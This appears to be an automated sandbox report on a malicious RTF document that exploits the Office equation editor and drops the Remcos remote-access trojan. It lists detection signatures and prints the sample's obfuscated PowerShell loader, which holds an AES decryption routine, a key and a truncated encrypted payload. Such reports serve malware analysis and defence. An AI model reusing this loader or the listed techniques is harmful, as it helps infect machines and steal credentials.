Edit tour
Windows
Analysis Report
swCQS5MMLX.rtf
Overview
General Information
Sample name: | swCQS5MMLX.rtfrenamed because original name is a hash value |
Original sample name: | 84bafe55d9087cdfce20ebdd74b8610f.rtf |
Analysis ID: | 1471976 |
MD5: | 84bafe55d9087cdfce20ebdd74b8610f |
SHA1: | 738c8db7918e79aba33bbc51949a51651a8da74c |
SHA256: | 99a37b119f17a69497cd85b20466e078ffe63573266437bd62cbec91205465e2 |
Tags: | rtf |
Infos: | |
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Found potential equation exploit (CVE-2017-11882)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 2292 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 1504 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 2764 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\cross checkrosef loweronhai rbeauty.vB S" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 1448 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command ( ('((e4jfun ction Decr ypt-AESEnc ryption {P aram([Stri ng]TMIBase 64Text,[St ringe4j+e4 j]TMIKey)T MIe4j+e4ja esManaged = New-Obje ct System. See4j+e4jc urity.Cryp tography.A esManaged; TMIa'+'esM anagee4j+e 4'+'jd.Mod ee4j+e4j = [Syse4j+' +'e4jtem.S ecurity.Cr yptoge4j+e 4jraphy.e4 j+e'+'4jCi e4'+'j+e4j pherMode]: :CBC;TMIae sManaged.' +'Pae4j+e4 jddin'+'g = [System. Security.C ryptograph y.PaddingM ode]::Zero s;TMIaesMa naged.Bloc kSiz'+'e = 128;TMIae sManaged.K eySize = 2 56;'+'TMIa esManagee4 j+'+'e4jd. Key = ('+' New-Object e4'+'j+e4j System.Se curity.Cry ptography. SHA256Mana ged).Compu teHash([Sy ste'+'m.Te xt.Encodin g]::UTF8.G ee4j+e4jtB ytes(TMIKe y));TMIcip herBytes = [Syst'+'e m.Convert] ::FromBase 64String(T MIBase64Te xt);TMIaes Managed.IV '+'= TMIc ipherBytes [0..15];TM Idecryptor = TMIaesM anaged.Cre ateDecrypt or();TMIde cryptedByt es = TMIde cryptor.Tr ansformFin '+'alBlock (TMIcipher Bytes, 16, TMIcipher Bytes.Leng th - 16);e 4j+e4jTMIa e'+'sManag ed.D'+'isp ose('+');r eturn [Sys tem.Text.E ncoding]:: UTF8.GetSt ring'+'(TM Idecry'+'p tedBytes). Tre4j+e4ji m([char]0) ;}TMIchave = CnI5328 9677559390 0851989363 30541601Cn Ie4j+e4j;T MItextoCri ptogr'+'af adoBase4j+ e4je64 = ' +'CnIfBvRZ YArRiXxb9p LfOWJSzhLR Pd5I7zACTs YJPbnDRxmp MjLudBMxIc lsh5G1oAEB 4NHw+gqZ73 NYAtRuPEZb un7w27uHNU U/2UZk0vwi xZZjYF8SBU g7cmFK0nSM gU1Iow3bYm uii7NK55sd rSb83T7TlG ZY91+Moz0Z BIk/0eAU2w f8Py5IgxbP rmhkNHTpbZ FW/Al0eMV2 MWxPeHSmQg Z//aQ5gn4O g/LInIlaSI qzqvxWq5ko u0WIQo/72z G6+7hFvlR6 cDOFO2EYak 1CZ8irRCX1 8qAZvDaSJk /li/7cM0Yy GDGjetxHvd dCjxoFrsIz OoFr80ro7t y8kqQMtvLf XWiRbyxHtk F3NxaNwlxD UG/Htly5mp zTXN98K6Fn ob44pHV6WF mrTRzBeXFv RMXFrkrC3t 4BnQoCxsRB 6x1sycYX2B AgD4vDPPYx Pb47dSqUAo FV4NMTMVwt ucrwLJdlZl Pd2Enjstla pgPGyqeDuq +TKGWTRY7Z 1C3vRcmlGe +lnY3QnpSN HNLl/haCmR sH4gMWyr4W /C2zNKguYI 0N/PuyhAYi 7YLD4A/NHj UcCY9rhxCg 197+PLu/Ow LBOl0CXgp/ Ts85zFpV7W YNvBVPdgWv IPMkzBwQ+4 9ILJWVxcCD dE6JmR5Fq9 tx9CQCnQJH N8uHPYaUlZ 0ReVI/npl7 GN05N9Obi1 8FtHe8U5TJ h3++s3Gfoi YW9BhKgh39 janXG8zoXy 6iZOVv1CDP HimFt85ZaM s1Bo+CmL5l nsudxNiDoq 44/2E5DtzN oWEzZ+OQLs OM9Zh7Lke8 w81xDJOSxV mqDoOcMa4I 6/NsXFAlOT eKkhDmJCHT UB/Ks2qy+x vWMe77WJAk O37XgYyBUT A46+w+NVfi XxSstunWVv AjPztuMG9e kqgyxG0tWn qnXcuN/TQw ZP47Z83ALu TurZOTykuQ EXA42lNWU8 mibH2upcIA Ct8NoPw3r5 fRNvJc322K LiLSEJOJDD wYQP3uPDW9 ylYqnz9saW GUF7wyvlEI rk5vKGo+vu ncoCtLyjSF U2NNWq/OUh m3YFstmHb0 0qRls8jshN FDeskT+9Hr CwRd5P+6kL q2cCc1OCMU 4SwDWZMZEi /L5oEW5wJX HXG/5VBwsh KqSiAF1oja thm5reHGj8 cBBQcmfmNA iBhE+cYjLi J1HYdwmhWR lD9k2l7Irp Pf72Zqiu2A JE1o7WKFUP AGFRCXzrDr RaHWxr27DK 2NG8lOEVbh 92cuVyNGBl hPQft0FbKG